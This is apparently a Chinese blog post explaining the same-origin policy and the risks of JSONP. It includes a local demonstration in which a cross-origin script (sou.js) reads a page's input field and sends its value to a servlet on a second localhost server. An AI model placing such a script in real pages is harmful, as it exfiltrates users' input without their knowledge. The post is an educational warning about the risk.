危险的jsonp
一次参加比赛的时候碰到这了这个问题,结果没解决,今天想起来的于是学习了一下。
首先需要了解什么是同源策略
同源的简单判断
如果两个页面拥有相同的协议(protocol),端口(如果指定),和主机,那么这两个页面就属于同一个源(origin)。
下表给出了相对http://store.company.com/dir/page.html同源检测的示例:
URL | 结果 | 原因 |
http://store.company.com/dir2/other.html | 成功 | |
http://store.company.com/dir/inner/another.html | 成功 | |
https://store.company.com/secure.html | 失败 | 协议不同 |
http://store.company.com:81/dir/etc.html | 失败 | 端口不同 |
http://news.company.com/dir/other.html | 失败 | 主机名不同 |
然后参考http://www.bejson.com/knownjson/aboutjsonp/自己写了个示例,借助于jQuery的ajax与豆瓣的音乐api
<input type="text" id="se" > <button onclick="a()">a</button> <div class="main"></div> <script type="text/javascript"> function a(){ var val = $('#se').val(); console.log(val); $.ajax({ method:'GET', url:'https://api.douban.com/v2/music/search', data:{q:val,count:3}, dataType:"jsonp", jsonp:"callback", //这里的参数必须和目标页面里的回调函数一样 }).done(function(data){ var i=data;//原谅这个i $('.main').append('<p>'+i.count+'<p>'); $('.main').append('<p>'+i.start+'<p>'); $('.main').append('<p>'+i.total+'<p>'); for(var j=0;j < i.musics.length;j++){ $('.main').append('<p>'+i.musics[j].id+'<p>'); $('.main').append('<img src="'+i.musics[j].image+'">'); $('.main').append('<p>'+i.musics[j].alt_title+'<p>'); $('.main').append('<p>'+i.musics[j].alt+'<p>'); $('.main').append('<p>'+i.musics[j].title+'<p>'); } }); </script>
测试成功。
然后又搜索了几篇关于跨域访问的的博客
当看到这一条http://blog.csdn.net/shimiso/article/details/21830313
忽然想到了一个问题:
当你跨域访问一个站点的js时,这个js里面嵌入了可以获取你网页信息的代码,那你的隐私岂不是都暴露了?
于是建了两个服务器模拟一下
服务器a http://localhost:8000
将刚才的豆瓣改成服务器b的一个js
$.ajax({ method:'GET', url:'http://localhost:8080/JsonpTest2/sou.js', dataType:'jsonp', jsonp:'callback' }).done(function(){ console.log('yes good'); });
服务器b http://localhost:8080
新建sou.js
//重要,获取a中的输入框的值 var data = {val:$('#se').val()}; $.ajax({ method:'GET', url:'http://localhost:8080/JsonpTest2/Test2',//向服务器b发送数据 data:data, dataType:'jsonp', jsonp:'callback' }).done(function(){ console.log('yes good'); });
b中新建servlet Test2接受sou.js发送的数据
String val = request.getParameter("val");
System.out.println("received data is : "+val);
在html中输入1234
点击按钮
查看服务器b控制台
成功接收。
足见跨域访问的危险之处。以后一定谨慎使用。
参考:
http://blog.csdn.net/shimiso/article/details/21830313
http://www.zhihu.com/question/25427931
https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy